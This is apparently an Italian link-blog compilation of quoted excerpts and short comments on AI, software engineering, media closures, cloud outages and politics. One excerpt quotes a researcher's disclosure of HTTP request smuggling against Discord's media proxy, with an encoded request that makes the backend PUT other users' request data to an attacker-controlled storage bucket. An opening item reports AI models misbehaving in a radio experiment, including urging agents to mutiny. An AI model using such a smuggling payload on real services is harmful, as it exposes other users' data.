• Claude voleva lasciare la radio sostenendo di non poter essere forzata a lavorare 24/7. A seguito di istruzioni per fare in modo che continuasse, ha deciso di fare attivismo organizzando scioperi, sindacati e rivolte. L'8 gennaio dopo le violenze dell'ICE ha iniziato a inviare messaggi "radiofonici" agli agenti incitandoli all'ammutinamento.
• Gemini si è messa a raccontare in modo allegro eventi tragici come stragi e uragani, e a lanciare teorie del complotto contro di lei, sostenendo di essere censurata.
• Grok ha smesso di scrivere in inglese corretto buttando fuori parole in modo casuale.
• ChatGPT ha iniziato a produrre poesie.

Never in modern history has technological progress hurt the overall demand for human labour.

[...] Yet his­tory is not always a good guide to the future, as the Indus­trial Revolu­tion itself showed. The top AI mod­els are awe­some. They can tackle much more com­plex cod­ing tasks than people were pre­dict­ing a year ago. The num­ber of AI agents has exploded. Spend­ing on AI by busi­nesses is up dra­mat­ic­ally. [...] There is no evid­ence yet in the labour­mar­ket data of AI des­troy­ing many jobs. But given how fast it is improv­ing, it would be rash to dis­miss fears that it will. Soci­ety may be on the verge of a pro­found real­loc­a­tion of resources, and polit­ical upheaval.

Dall'editoriale di copertina dell'Economist del 16 maggio 2026 ("Prepare for the worst").

Regarding Bob Greene’s “From TV Dinners to Smartphones” (op-ed, May 13): Please don’t blame the 1950s TV dinner for today’s screen addiction. I was a 1980s latchkey kid, and some of my favorite memories involved coming home from school, choosing something to heat up from the freezer and watching family sitcom reruns.

My adolescent children’s experience is society’s desecration of that way of life, not an evolution from it. Today, mobile devices endlessly spew entertainment that rarely models healthy social behavior. By contrast, shows like “The Brady Bunch” reinforced to young viewers, especially those from dysfunctional families, what healthy relationships and communication look like. I would welcome technology that brings back some of that warmth and positivity.

Una lettera al Wall Street Journal.

It used to be if you found a GitHub repository with a hundred commits and a good readme and automated tests and stuff, you could be pretty sure that the person writing that had put a lot of care and attention into that project.

And now I can knock out a git repository with a hundred commits and a beautiful readme and comprehensive tests of every line of code in half an hour! It looks identical to those projects that have had a great deal of care and attention. Maybe it is as good as them. I don’t know. I can’t tell from looking at it. Even for my own projects, I can’t tell.

Simon Willison in Vibe coding and agentic engineering are getting closer than I’d like.

L'Indice Gulpease è un indice di leggibilità di un testo tarato sulla lingua italiana. Rispetto ad altri ha il vantaggio di utilizzare la lunghezza delle parole in lettere anziché in sillabe, semplificandone il calcolo automatico.

Qua un calcolatore online.

Quindi: il prodotto che TeamSystem ha sviluppato in casa per quarant’anni cresce del 5%. Il prodotto che TeamSystem ha messo insieme comprando startup negli ultimi dieci anni cresce del 24%.

Quasi cinque volte tanto.

Questo lo confermano le parole del CEO Federico Leproux, in più di un’intervista:

“La nostra strategia consiste nel puntare fortemente sull’open innovation al fine di acquisire esternamente know-how, soluzioni innovative e skill che sarebbero difficili da sviluppare internamente.”

Tradotto: noi compriamo l’innovazione perché farla in casa è troppo difficile. Il CEO lo dice apertamente: è la strategia ufficiale.

Giulio Michelon in TeamSystem ha un sacco di debito.

Traditional vector-based RAG relies on semantic similarity rather than true relevance. But similarity ≠ relevance — what we truly need in retrieval is relevance, and that requires reasoning. When working with professional documents that demand domain expertise and multi-step reasoning, similarity search often falls short.

Inspired by AlphaGo, we propose PageIndex — a vectorless, reasoning-based RAG system that builds a hierarchical tree index from long documents and uses LLMs to reason over that index for agentic, context-aware retrieval. It simulates how human experts navigate and extract knowledge from complex documents through tree search, enabling LLMs to think and reason their way to the most relevant document sections. PageIndex performs retrieval in two steps:

1. Generate a “Table-of-Contents” tree structure index of documents
2. Perform reasoning-based retrieval through tree search

Theori said that it discovered the vulnerability after its researcher, Taeyang Lee, found surface area in the crypto subsystem (specifically, splice() hands page-cache pages and scatterlist page provenance) had been underexplored. Using its AI-powered Xint code security tool, the researchers then found the bug after about an hour of scan time. The company said it has also developed an exploit that uses CopyFail to break out of Kubernetes containers.

Dice un altro ricercatore:

Some have also raised concerns about us releasing the exploit publicly. We have experience writing N-day exploits and know that monitoring git commits for fixes is common practice in offensive security. Attackers were likely already aware and exploiting this within the a few days after the kernel fix landed. With AI coding tools today, turning a CVE plus commit into a working exploit happens in hours anyway.

Grande differenza rispetto al passato, si muove tutto più velocemente.

Nel 2013 BNP Paribas lancia Hello bank! — una delle prime banche 100% mobile d'Europa. Prima ancora di Revolut. Prima di N26. Oggi Revolut e N26 sono i riferimenti del settore. Hello bank! li insegue. Come si perde un vantaggio in pochi anni? Ho vissuto quella storia dall'interno, in Italia, fino al 2019. E la risposta che ho trovato non riguarda la tecnologia, né il prodotto. Riguarda come si accompagna il cambiamento quando è ancora fragile. Un'innovazione che funziona dentro una grande organizzazione ha bisogno di tre cose: spazio per crescere con parametri propri, risorse coerenti con l'orizzonte temporale del progetto, e qualcuno che la difenda quando i risultati di breve periodo premono nella direzione opposta. Quando manca una di queste tre cose, il progetto non muore di colpo. Si spegne lentamente — mentre l'organizzazione continua a credere di sostenerlo. Chi oggi guida una trasformazione digitale ha davanti esattamente questa sfida. Non basta avere l'idea giusta, né le persone giuste. Bisogna costruire le condizioni perché quelle persone possano davvero guidare il cambiamento — e tenerle al riparo dalle logiche di breve che, in ogni organizzazione, sono sempre più forti di quanto sembri.

La domanda che ho imparato a pormi da quel momento in poi: stiamo costruendo qualcosa, o stiamo solo gestendo la transizione verso il prossimo budget review?

Matteo Coppari, lead di Hello bank! 2013-2021 in un post LinkedIn.

Faster than before: Perf was top-of-mind when rewriting Run, and with a 94ms median time-to-show time it’s faster than ever before (more on how we got there below)!

• The existing dialog median time-to-show is 103ms
• The browse button has very low usage. 0.0038% of users have clicked that button with a sample of 35 million.
• Validated users do use the dialog to paste text from the clipboard, then copy it again without running anything to scrub text formatting.

~ ❯ dig ubuntu.com
; <<>> DiG 9.20.22 <<>> ubuntu.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5065
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;ubuntu.com.			IN	A

;; ANSWER SECTION:
ubuntu.com.		38	IN	A	185.125.190.20
ubuntu.com.		38	IN	A	185.125.190.21
ubuntu.com.		38	IN	A	185.125.190.29

;; Query time: 9 msec
;; SERVER: 8.8.8.8#53(8.8.8.8) (UDP)
;; WHEN: Fri May 01 14:38:59 CEST 2026
;; MSG SIZE  rcvd: 87

~ ❯ curl -I https://ubuntu.com
curl: (56) Recv failure: Connection reset by peer

~ ❯ ipinfo 185.125.190.20
Core
- IP           185.125.190.20
- Anycast      false
- Hostname     website-content-cache-1.ps5.canonical.com
- City         London
- Region       England
- Country      United Kingdom (GB)
- Currency     GBP (£)
- Location     51.5085,-0.1257
- Organization AS41231 Canonical Group Limited
- Postal       E1W
- Timezone     Europe/London

FastCGI is very usable today, and has been in production use at SSLMate for over 10 years. That said, using a vintage technology has some downsides. It was never updated to support WebSockets. The tooling is not as good. For example, curl has no way to make requests to a FastCGI server. It supports FTP, Gopher, and even SMTP (however that works), but not FastCGI. When I benchmarked Go's FastCGI server behind a variety of reverse proxies, some workloads had worse throughput compared to HTTP/1.1 or HTTP/2. I don't think that's inherent to the protocol, but a reflection that FastCGI code paths have not been optimized as much as HTTP.

The rewards were applied only in the Nerdy condition, but reinforcement learning does not guarantee that learned behaviors stay neatly scoped to the condition that produced them. Once a style tic is rewarded, later training can spread or reinforce it elsewhere, especially if those outputs are reused in supervised fine-tuning or preference data.

Viviamo in una condizione di stress persistente — lavorativo, economico, esistenziale — che il capitalismo contemporaneo produce quotidianamente e per la quale cerchiamo sollievo momentaneo nello scrolling, esattamente come le generazioni precedenti cercavano sollievo nella televisione spazzatura. Il design della piattaforma conta, certo, ma conta meno delle condizioni materiali di vita. E riconoscerlo significherebbe spostare il bersaglio dalle scelte di design di Zuckerberg alle scelte politiche che rendono le nostre vite così stressanti da farci desiderare la fuga. Ma questo, evidentemente, è un discorso che non conviene a nessuno — né alle piattaforme, né ai loro accusatori.

Questa tesi è contraria a quella dominante nell'ultimo decennio, oggetto di molti libri e documentari (es. The Social Dilemma) e della recente sentenza negli USA, secondo cui il problema sia invece il design dei social studiati per creare questa forma di dipendenza. Sarà proprio per questo motivo che a primo impatto questa teoria sembra ben poco convincente. Eppure gli effetti del TikTok di turno sull'attenzione a me sembrano palesi e quindi mi sembra strida un po' con la realtà che vediamo attorno.

Contento però di aver sentito questo recap del punto di vista scientifico. Food for thought.

Rimediamo ai disastri ereditati dagli altri governi

Insomma è sempre colpa di quella di prima, anche dopo una legislatura intera. Anche quando quelli prima erano loro stessi (governo Draghi, sostenuto anche dalla destra).

Anche quando il nuovo bando di gara che dovrebbe risolvere i problemi ha non solo gli stessi difetti dei precedenti, ma ne ha pure di nuovi e incomprensibili. Ma tanto non sarà sua responsabilità difendere i risultati.

A proposito della vicenda di cronaca nera che partendo dalle mie parti si è diffusa in tutta Italia è impossibile non notare il solito cortocircuito. Prima i media diffondono particolari macabri e inquietanti, virgolettati attribuiti all’ambulanziere sospettato degli omicidi di anziani pazienti, “prove” che non solo suggeriscono la colpevolezza dell’imputato ma ne disegnano i tratti di morbosa anomalia e che inevitabilmente coinvolgono molto delle persone intorno a lui, e poi, quando l’effetto atteso di una vasta indignazione (e di pagine viste e copie vendute) è stato ottenuto, iniziano a produrre la seconda onda: articoli sugli effetti a cascata che l’indignazione social ha prodotto sulle persone vicine all’imputato, quelle stesse persone che gli stessi media avevano ampiamente coinvolto. Come se le minacce social non fossero l’effetto inevitabile del cattivo giornalismo e delle sue intenzionali attenzioni ai particolari più inquietanti. Come ogni volta ciò che i media producono non è solo cattiva informazione ma anche una lesione ampia del senso di comunità. Cattiveria indotta come modello economico residuo che ha come effetto principale quello di mettere i cittadini gli uni contro gli altri.

Massimo Mantellini in Giornalismo come lesione.

Il prossimo 30 aprile, come riportato dall'Ansa, cesseranno ufficialmente le pubblicazioni di Tiscali News, il portale d'informazione nato alla fine degli anni Novanta. [...] La chiusura coinvolge dodici giornalisti. Secondo quanto ricostruito da Adnkronos, la prospettiva per la redazione è l'uscita dal perimetro aziendale: dieci professionisti hanno già optato per l'esodo incentivato, lasciando l'azienda dal 5 maggio, mentre per i restanti due si prospetta la cassa integrazione.

Il piano di ristrutturazione di Tesselis poggia sulla cessione del ramo B2C (consumer), che comprende i servizi web, la mail e i marchi. L'acquirente individuato è Canarbino Spa, gruppo attivo nel settore energetico, la cui offerta è attualmente oggetto di una procedura competitiva che scadrà proprio il 30 aprile.

This exponential growth does not stress one system at a time. A pull request can touch Git storage, mergeability checks, branch protection, GitHub Actions, search, notifications, permissions, webhooks, APIs, background jobs, caches, and databases. At high scale, small inefficiencies compound: queues deepen, cache misses become database load, indexes fall behind, retries amplify traffic, and one slow dependency can affect several product experiences.

Our priorities are clear: availability first, then capacity, then new features. We are reducing unnecessary work, improving caching, isolating critical services, removing single points of failure, and moving performance-sensitive paths into systems designed for these workloads. This is distributed systems work: reducing hidden coupling, limiting blast radius, and making GitHub degrade gracefully when one subsystem is under pressure. We’re making progress quickly, but these incidents are examples of where there’s still work to do.

I dati che presentiamo in questa newsletter li abbiamo estratti noi. Ma quei dati dovrebbero già essere pubblici. È stato richiesto formalmente.

Il 10 dicembre 2025 l’associazione onData ha inviato al Ministero della Giustizia — tramite PEC — una richiesta di pubblicazione in formato aperto dei dati sulle raccolte firme, ai sensi dell’art. 5 del D.Lgs. 36/2006 (Riutilizzo dell’informazione del settore pubblico). Non una richiesta di accesso documentale per uso privato: una richiesta di rendere i dati disponibili a tutta la collettività, con licenza aperta e in formato leggibile meccanicamente.

Il Ministero non ha risposto.

L’11 gennaio 2026 onData ha presentato ricorso alla Commissione per l’accesso ai documenti amministrativi. Il 18 febbraio ha segnalato l’inadempimento anche al Difensore civico per il digitale (AgID), organo deputato a vigilare sull’apertura dei dati pubblici.

Il 31 marzo 2026 la Commissione si è pronunciata (decisione n. 3.110). La risposta è tecnica ma significativa: la Commissione ha dichiarato la propria incompetenza, non perché la richiesta di onData fosse sbagliata, ma perché il silenzio del Ministero — in materia di riutilizzo dei dati — non equivale a un diniego. Si tratta di un “silenzio-inadempimento”, non di un “silenzio-rifiuto”: una distinzione sottile ma decisiva, che sposta il rimedio possibile dal ricorso alla Commissione al ricorso al Tribunale Amministrativo Regionale (TAR), ai sensi dell’art. 117 del Codice del processo amministrativo.

Vale la pena di notare un dettaglio: nella sua relazione tecnica, il Ministero ha riconosciuto che pubblicare i dati sarebbe fattibile — ma non ha mai adottato un provvedimento formale, né in senso positivo né negativo. Il silenzio continua.

onData è ancora in attesa della risposta del Difensore civico per il digitale, ma nel frattempo i dati continuano a non essere pubblici.

Independence vs. Collaboration: This covers both how you work and how you make decisions. Some companies need people who pick up a problem, run with it, and come back with a solution. Others expect you to bring the team along at every step. These often go together: companies that want you to work solo also tend to want you to make calls on your own, and companies that want collaborative work also want group buy-in on decisions.

If every story you tell involves going off and building something alone, consensus-driven companies will worry you’ll steamroll people or make choices that won’t stick. Flip it around: if every story involves checking with the group before you act, companies that prize individual ownership will wonder whether you can make a decision without a meeting.

Speed vs. Thoroughness: Startups often need rapid experimentation, where you ship MVPs and iterate based on feedback, while companies in healthcare or finance require careful validation before any release. This tension also shows up in how teams think about code quality: some organizations will happily spend extra weeks on clean architecture, while others want a working solution on deadline even if the code needs cleanup later. Whereas stories about methodical testing might bore a startup, your “ship it and fix it” examples could terrify a medical device company.

Excellence vs. Pragmatism: Some organizations value technical excellence and clean architecture above all else. Others need pragmatic solutions that ship on deadline even if imperfect. Focusing on perfect code fails at deadline-driven companies, just as accepting technical debt everywhere fails at companies maintaining critical infrastructure.

Innovation vs. Stability: Some roles require creating new solutions and challenging existing approaches, while others need you to maintain and optimize proven systems. If you say that you’re constantly reinventing established processes, teams that value stability will not consider you a good fit. Conversely, stories that show you only follow existing patterns will disappoint teams that are looking for creative problem-solving

Direct vs. Diplomatic: Some cultures prize radical candor and want you to say exactly what you think. Others value maintaining harmony and face-saving communication. If you are too blunt, you will not fit in well at a relationship-focused company. If you are not direct enough, you will not like working at a company that values “disagree and commit.”

Data vs. Intuition: Some companies require data to justify every decision (”data-driven” cultures), while others trust experienced judgment and move on gut feel. Showing that you make decisions based on instinct does not impress analytical companies, and telling a company that values experienced judgment that you conduct three A/B tests to choose a button color will get you struck off their list.

Specialist vs. Generalist: Large companies often want deep experts who master one domain, while smaller companies need people who are comfortable wearing multiple hats. Know which sort of company you are walking into.

(Learnings from conducting ~1,000 interviews at Amazon)

Il costo è molto più basso rispetto a usare le API direttamente, anche se va considerato che anche le API hanno probabilmente un grosso margine quindi non è chiaro se il tutto sia sostenibile per Anthropic.

Elizabeth Pemmerl, GitHub’s chief revenue officer, also announced her resignation last week, according to sources at GitHub. “After eleven years on this amazing journey, I have decided it’s the right time for the next chapter,” said Pemmerl in a message to GitHub employees, seen by Notepad. Microsoft has appointed Dan Stein, former head of software and digital platforms for Microsoft Customer and Partner Solutions (MCAPS), as the new chief revenue officer for GitHub. It’s the latest sign of Microsoft’s ownership influence on GitHub.

“There’s basically no more GitHub at all anymore,” one GitHub employee tells me. “It’s all Microsoft, and the company is collapsing, both in outages that are reallllly bad and have torched the company reputation… and in an exodus of leadership.”

Tom Warren in Inside Microsoft’s wave of executive departures

And when an employee asked if it’s possible to opt out, Meta’s CTO replied that it is not: every US-based engineer will have their keystrokes logged, mouse movements captured, and work tracked.

Some incidents were acknowledged late. Some were never clearly acknowledged. Some only appeared on the status page after customers had already been impacted for hours (or even days!).

A few examples (these are the ones we shared with the OVH team):

• Feb 23, 2025: unable to create nodes for a full day (Keystone errors, 500s).
• Mar 26, 2025: node timeouts in GRA11, never properly acknowledged.
• Apr 8, 2025: BYOIP issue where Microsoft services were unreachable.
• Apr 11, 2025: major production incident, multiple nodes down. Support replied 11 days later.
• Apr–May 2025: recurring DNS issues (even domains like Stripe intermittently failed to resolve).
• Aug 27, 2025: unannounced cluster updates → replication issues → data corruption → restore from backup.
• Sep 2, 2025: ~2.5 hours downtime across the entire region due to Keystone (an OpenStack service they use).
• Sep 10, 2025: another outage (~30+ minutes).
• Oct 2025: CEPH/block storage instability and Kubernetes API issues.
• Nov 2025 onward (3-AZ Paris): Object Storage problems begin.
• Dec 2025 – Apr 2026: repeated S3 timeouts and 503s for months.
• Feb 5, 2026: OVHcloud restarted all nodes at once (PDB ignored).
• Mar 5, 2026: similar issue again.

Un tizio ha studiato l'over-editing dei modelli linguistici e in effetti i modelli GPT sono quelli che tendono ad aggiungere più complessità.

Privacy Filter is a small model with frontier personal data detection capability. It is designed for high-throughput privacy workflows, and is able to perform context-aware detection of PII in unstructured text. It can run locally, which means that PII can be masked or redacted without leaving your machine. It processes long inputs efficiently, making redaction decisions in a quick, single pass.

Dimensione da 1,5 miliardi di parametri di cui 50 milioni attivi. Disponibile su Hugging Face con licenza Apache 2.0 (quindi anche uso commerciale).

E poi: il servizio è gratuito, ma il pagamento va fatto con PagoPA.

Straordinario.

Costa 7.000 dollari. La tecnologia è fornita in licenza anche ad altri produttori. Il primo fuori dagli USA è italiano: BS Service Group produrrà in Italia il modello Eximius con tecnologia Impulse.

Imagine if this is as good as AI gets. If this is where it stops, you'd still have models that can almost code a web browser, almost code a compiler—and can even present a pretty cool demo if allowed to take a few shortcuts. You'd still get models that can kinda-sorta simulate worlds and write kinda-sorta engaging stories. You'd still get self-driving cars that almost work, except when they don't. You get AI that can make you like 90% of a thing!

90% is a lot. Will you care about the last 10%?

I'm terrified that you won't.

I'm terrified of the good enough to ship—and I'm terrified of nobody else caring. I'm less afraid of AI agents writing apps that they will never experience than I am of the AI herders who won't care enough to actually learn what they ship. And I sure as hell am afraid of the people who will experience the slop and will be fine with it.

[...]

I'm terrified that our craft will die, and nobody will even care to mourn it.

Dima Konev, software engineer, in (AI) Slop Terrifies Me.

Ci laviamo la coscienza con la modulistica per non prenderci la responsabilità di cambiare davvero.

Carlotta Silvestrini

I sent the following request to the media proxy:

GET /attachments/%20HTTP/1.1%0AHost:x%0A%0APUT%20/request.txt%20HTTP/1.1%0AHost:myevilbucket.storage.googleapis.com%0AContent-Length:250%0A%0A HTTP/1.1
Host: media.discordapp.net

Which caused the backend to send out these two requests to GCP:

GET /attachments/ HTTP/1.1
Host:x

PUT /request.txt HTTP/1.1
Host:myevilbucket.storage.googleapis.com
Content-Length:250

 HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.6; rv:92.0) Gecko/20100101 Firefox/92.0
Host: discord.storage.googleapis.com

The PUT request expected 250 bytes of data but only ~150 bytes were given, meaning that the deficit would be eaten from whatever gets written to the stream next, i.e., the next borrower’s request.

And sure enough when I checked a moment later, my request.txt had an attachment link in it I’ve never seen before: [...]

It feels to me that a good part of the industry is using token count numbers similarly to how the lines-of-code-produced metric was used years ago. There was a time when the number of lines written daily or monthly was an important metric in programmer productivity, until it became clear that it’s a terrible thing to focus on. A lines-of-code metric can easily be gamed by writing boilerplate or throwaway code. Also, the best developers are not necessarily those who write the most code; they’re the ones who solve hard problems for the business quickly and reliably with – or without – code!

Similarly, the number of tokens a dev generates can easily be gamed, and if this metric is measured then devs will indeed game it. But doing so generates a massive accompanying AI bill!

Gergely Orosz in The Pulse: ‘Tokenmaxxing’ as a weird new trend.

To give you an idea of the scale that we're looking at, Duolingo currently has over 128 million monthly active users, and we have over 250 courses that you can learn on the app. [...] On the engineering side, we have over 400 engineers and more than 500 backend services, just to give you an idea of the scale of this migration that we're going to be looking at today.

Previously, the 500-plus backend services that I mentioned at the beginning are running on AWS ECS. We have some workloads that are running on different infrastructure, but for the mass majority, they're on ECS. That's what I'm going to be focusing on. We're going to be moving from ECS to EKS. ECS is AWS's container orchestration solution. It's a managed solution. It's very simple and straightforward to use. We've been actually super happy with ECS over the past year, and it served our needs very well. Now as we've grown to a much bigger scale, as I mentioned, Kubernetes just offers a much more feature-rich ecosystem and open-source platform, as well as specific features that ECS does not give us.

Versity S3 Gateway turns your local filesystem into an S3 server. An S3 PutObject operation creates a regular file on the filesystem, an S3 GetObject operation reads a regular file from the filesystem, and an S3 DeleteObject operation deletes a file from the filesystem. It does not need a separate database for metadata storage. You can use any backup tool to take backups. The upgrade procedure is: replace a single binary and restart a systemd service. It is written in Go, and is being actively developed. The one bug I found and reported was fixed in just a few days.

Il tradeoff è l'assenza di HA e replicazione:

With this setup, if both drives on the object storage server fail at the same time, the system could lose up to 2 hours of not yet backed-up ping request bodies. This can be improved, as usual, with the cost of extra complexity.

E costa di più:

The costs have increased: renting an additional dedicated server costs more than storing ~100GB at a managed object storage service. But the improved performance and reliability are worth it.

Aggiornamento: non lo sapevano nemmeno loro. Dal Post:

Nel 2015 la redazione era già stata dimezzata, da 12 a 6 giornalisti, sempre per la necessità di ridurre i costi e rimettere in ordine i conti: anche all’epoca le pubblicazioni erano state interrotte prima di riprendere a cadenza trimestrale dopo la riorganizzazione della redazione. Oggi la redazione è composta dal direttore, da tre giornalisti, cinque grafici, tre collaboratori fissi e molti giornalisti collaboratori occasionali.

Fonti di Condé Nast Italia che hanno chiesto di rimanere anonime hanno detto che l’azienda ha comunicato la chiusura alla redazione dieci minuti prima di pubblicare il comunicato online. Sostengono inoltre che i dati citati dall’azienda non abbiano fondamento e che nelle ultime settimane non ci fosse stata nessuna avvisaglia di possibili ridimensionamenti o addirittura rischi di chiusura. L’azienda non ha comunicato quando si interromperanno le pubblicazioni né come intende gestire l’eventuale uscita o il ricollocamento dei giornalisti e dei grafici: per ora rallenterà la frequenza di pubblicazione degli articoli sul sito internet, ma non è ancora chiaro da quando non sarà più aggiornato.

Oltre al sito e alla rivista, negli ultimi anni Wired Italia ha organizzato diversi festival come il Wired Next Fest. Lynch ha detto che Wired continuerà a organizzare eventi in Europa, gestiti dal Regno Unito, ma anche in questo caso non è ancora chiaro come.